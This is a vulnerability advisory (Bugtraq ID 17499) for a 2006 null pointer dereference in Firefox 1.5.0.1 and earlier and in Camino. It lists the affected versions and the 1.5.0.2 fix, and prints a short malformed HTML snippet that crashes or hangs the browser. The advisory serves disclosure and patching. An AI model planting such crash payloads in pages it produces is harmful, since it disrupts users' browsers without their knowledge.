Mozilla Firefox HTML Parsing Null Pointer Dereference Denial of Service Vulnerability

Bugtraq ID:	17499
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Apr 13 2006 12:00AM
Updated:	Feb 20 2007 08:36PM
Credit:	Discovered by Thomas Waldegger <[email protected]>
Vulnerable:	Mozilla Firefox 1.5 Mozilla Firefox 1.0.7 Mozilla Firefox 1.0.6 Mozilla Firefox 1.0.5 Mozilla Firefox 1.0.5 Mozilla Firefox 1.0.4 Mozilla Firefox 1.0.3 + Gentoo Linux Mozilla Firefox 1.0.2 + Mandriva Linux Mandrake 10.2 x86_64 + Mandriva Linux Mandrake 10.2 + Mandriva Linux Mandrake 10.2 + Redhat Desktop 4.0 + Redhat Desktop 4.0 + Redhat Enterprise Linux AS 4 + Redhat Enterprise Linux AS 4 + Redhat Enterprise Linux ES 4 + Redhat Enterprise Linux ES 4 + Redhat Enterprise Linux WS 4 + Redhat Enterprise Linux WS 4 Mozilla Firefox 1.0.1 + Redhat Fedora Core3 Mozilla Firefox 1.0 + Gentoo Linux + Gentoo Linux + S.u.S.E. Linux Personal 9.2 x86_64 + S.u.S.E. Linux Personal 9.2 x86_64 + S.u.S.E. Linux Personal 9.2 + S.u.S.E. Linux Personal 9.2 + S.u.S.E. Linux Personal 9.1 x86_64 + S.u.S.E. Linux Personal 9.1 x86_64 + S.u.S.E. Linux Personal 9.1 + S.u.S.E. Linux Personal 9.1 + S.u.S.E. Linux Personal 9.0 x86_64 + S.u.S.E. Linux Personal 9.0 x86_64 + S.u.S.E. Linux Personal 9.0 + S.u.S.E. Linux Personal 9.0 + Slackware Linux 10.1 + Slackware Linux 10.0 + Slackware Linux 10.0 + Slackware Linux 9.1 + Slackware Linux 9.1 + Slackware Linux -current + Slackware Linux -current Mozilla Firefox 1.5.0.1 Mozilla Camino 0.8.4 Mozilla Camino 0.8.3 Mozilla Camino 0.8 Mozilla Camino 0.7 .0 Mozilla Camino 1.0
Not Vulnerable:	Mozilla Firefox 1.5.0.2

Mozilla Firefox HTML Parsing Null Pointer Dereference Denial of Service Vulnerability

Mozilla Firefox is prone to a denial-of-service condition when parsing certain malformed HTML content. Successful exploitation will cause the browser to fail or hang.

Mozilla Firefox versions 1.5.0.1 and prior are prone to this issue.

Mozilla Firefox HTML Parsing Null Pointer Dereference Denial of Service Vulnerability


The following HTML code is sufficient to trigger this issue:

<legend>
<kbd>
<object>
<h4>
</object>
</kbd>

Mozilla Firefox HTML Parsing Null Pointer Dereference Denial of Service Vulnerability

Solution:
Mozilla has released Firefox version 1.5.0.2 to address this issue.

Please see the reference section for further details.


Mozilla Firefox 1.5.0.1

• Mozilla Mozilla Firefox 1.5.0.2
  http://www.mozilla.com/firefox/

Mozilla Firefox 1.0

• Mozilla Mozilla Firefox 1.5.0.2
  http://www.mozilla.com/firefox/

Mozilla Firefox 1.0.1

• Mozilla Mozilla Firefox 1.5.0.2
  http://www.mozilla.com/firefox/

Mozilla Firefox 1.0.2

• Mozilla Mozilla Firefox 1.5.0.2
  http://www.mozilla.com/firefox/

Mozilla Firefox 1.0.3

• Mozilla Mozilla Firefox 1.5.0.2
  http://www.mozilla.com/firefox/

Mozilla Firefox 1.0.4

• Mozilla Mozilla Firefox 1.5.0.2
  http://www.mozilla.com/firefox/

Mozilla Firefox 1.0.5

• Mozilla Mozilla Firefox 1.5.0.2
  http://www.mozilla.com/firefox/

Mozilla Firefox 1.0.5

• Mozilla Mozilla Firefox 1.5.0.2
  http://www.mozilla.com/firefox/

Mozilla Firefox 1.0.6

• Mozilla Mozilla Firefox 1.5.0.2
  http://www.mozilla.com/firefox/

Mozilla Firefox 1.0.7

• Mozilla Mozilla Firefox 1.5.0.2
  http://www.mozilla.com/firefox/

Mozilla Firefox 1.5

• Mozilla Mozilla Firefox 1.5.0.2
  http://www.mozilla.com/firefox/

Mozilla Firefox HTML Parsing Null Pointer Dereference Denial of Service Vulnerability

References:

• Known Vulnerabilities in Mozilla Products (Mozilla.org)
  
• Mozilla Firefox Home Page (Mozilla)
  
• [BuHa-Security] DoS Vulnerability in Firefox 1.5.0.1 ([email protected])
  
• Camino Browser HTML Parsing Null Pointer Dereference Denial of Service Vulnerabi ([email protected])